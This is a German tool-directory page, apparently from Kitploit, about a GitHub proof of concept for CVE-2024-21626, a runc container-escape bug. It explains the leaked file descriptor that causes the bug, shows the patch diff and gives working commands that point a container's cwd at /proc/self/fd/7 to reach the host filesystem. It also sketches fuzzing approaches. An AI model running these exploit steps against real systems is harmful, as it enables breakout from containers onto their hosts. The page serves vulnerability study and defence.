Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-21626-PoC — Root Cause & Proof of Code | Kitploit
Tools/GitHubGitHub/r4mbb/cve-2024-21626-poc
SchwachstellenanalyseExploitationFuzzingPenetrationstestsContainer-AusbruchBinary-Exploitation
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

Root Cause & Proof of Code

Repository anzeigen
5vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-21626

Root-Ursache & Proof-of-Code

Wie verwendet man poc-autoplay?

root@kitploit:~
make install

make uninstall

1. Root-Ursache

  • In runc v1.1.11 und niedriger entsteht diese Schwachstelle dadurch, dass beim Öffnen des Host-Verzeichnisses /sys/fs/cgroup zur Einrichtung der cgroup der entsprechende Dateideskriptor nicht geschlossen und dem Container-Initialisierungsprozess überlassen wird.
  1. In der runc-init-Phase wird über das /sys/fs/cgroup des Hosts /proc/{PID}/fd/7 erlangt.
  2. Die Container-PID 1 wird per fork/exec gestartet, ohne diesen fd zu schließen.
  3. In der runc-spec bzw. über die Option „runc exec —cwd“ wird das Arbeitsverzeichnis (cwd) auf einen vom Angreifer kontrollierten Pfad wie das zuvor erlangte /proc/self/fd/7/ gesetzt.
  4. Nach dem chdir verschiebt sich die cwd der PID 1 aus dem rootfs des Containers heraus.
  5. Dadurch wird bestätigt, dass Prozesse innerhalb des Containers auf das Host-Dateisystem zugreifen bzw. es verändern können – ein Container-Escape tritt auf.
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
       "net"
       "os"
       +    "path/filepath"
       "runtime"
       "runtime/debug"
       "strconv"
       @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
       return nil
       }

       +// verifyCwd ensures that the current working directory is still inside
       +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
        // it indicates the cwd is outside the container.
        // See CVE-2024-21626.
       +func verifyCwd() error {
       +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
       +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
       +   } else if err != nil {
       +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
       +   } else if !filepath.IsAbs(wd) {
           +       // Sanity check: cwd should always be absolute
               +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
               +   }
       +   return nil
           +}

           @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
               if err := system.ClearKeepCaps(); err != nil {
                   return fmt.Errorf("unable to clear keep caps: %w", err)
               }
               +    // After chdir to config.Cwd, ensure it’s still inside the container
                   +    if err := verifyCwd(); err != nil {
                       +        return err
                           +    }
               return nil
           }
Tool herunterladen
  • Direkt nach dem chdir wurde eine Logik hinzugefügt, die die cwd überprüft.
  • In libcontainer/init_linux.go wird die Funktion verifyCwd() hinzugefügt. Sie prüft nach dem chdir, ob sich die cwd weiterhin im Container befindet, und entscheidet darüber, ob ein Fehler ausgelöst wird.
  • Es wurde eine Logik hinzugefügt, die sämtliche durchgesickerten Dateideskriptoren schließt.
  • Unmittelbar vor dem finalen execve werden alle internen fd geschlossen, sodass keine Host-fd im Containerprozess verbleibt.

2. Proof of Concept

  • Umgebung
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • Exploit über runc selbst
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

Start vom lokalen /-Pfad aus innerhalb von Docker

  • Beim Erstellen des Containers muss das Arbeitsverzeichnis auf einen bestimmten Dateideskriptor gesetzt werden. Der geöffnete fd des Hosts und der fd innerhalb des Containers werden miteinander verknüpft, wodurch ein Docker-Escape möglich wird.

  • PoC-Datei -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • PoC-MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. Wie kann diese Schwachstelle gefuzzt werden?

  • Ansatz: go-fuzz gegen die anfällige runc-Binary ausführen.
  • Dabei wird der Teil, der chdir(config.Cwd) innerhalb der anfälligen Funktion finalizeNamespace() verarbeitet, als Ziel gewählt und eine zufällige OCI-Config als Eingabe übergeben.
  • Mit dieser Methode könnte man nach dem chdir die Ausnahmebehandlung bzw. die Absturzstellen analysieren, die in der cwd bei relativen Pfaden auftreten.
  • Ansatz: AFL++ gegen die runc-Binary der anfälligen Version ausführen.
  • Dabei werden die OCI-Spec-JSON und die runc-CLI-Argumente gefuzzt.
  • Man könnte den cwd-Teil in der OCI-Spec-JSON als Ziel nehmen und die Abstürze analysieren, die an der chdir-Stelle auftreten.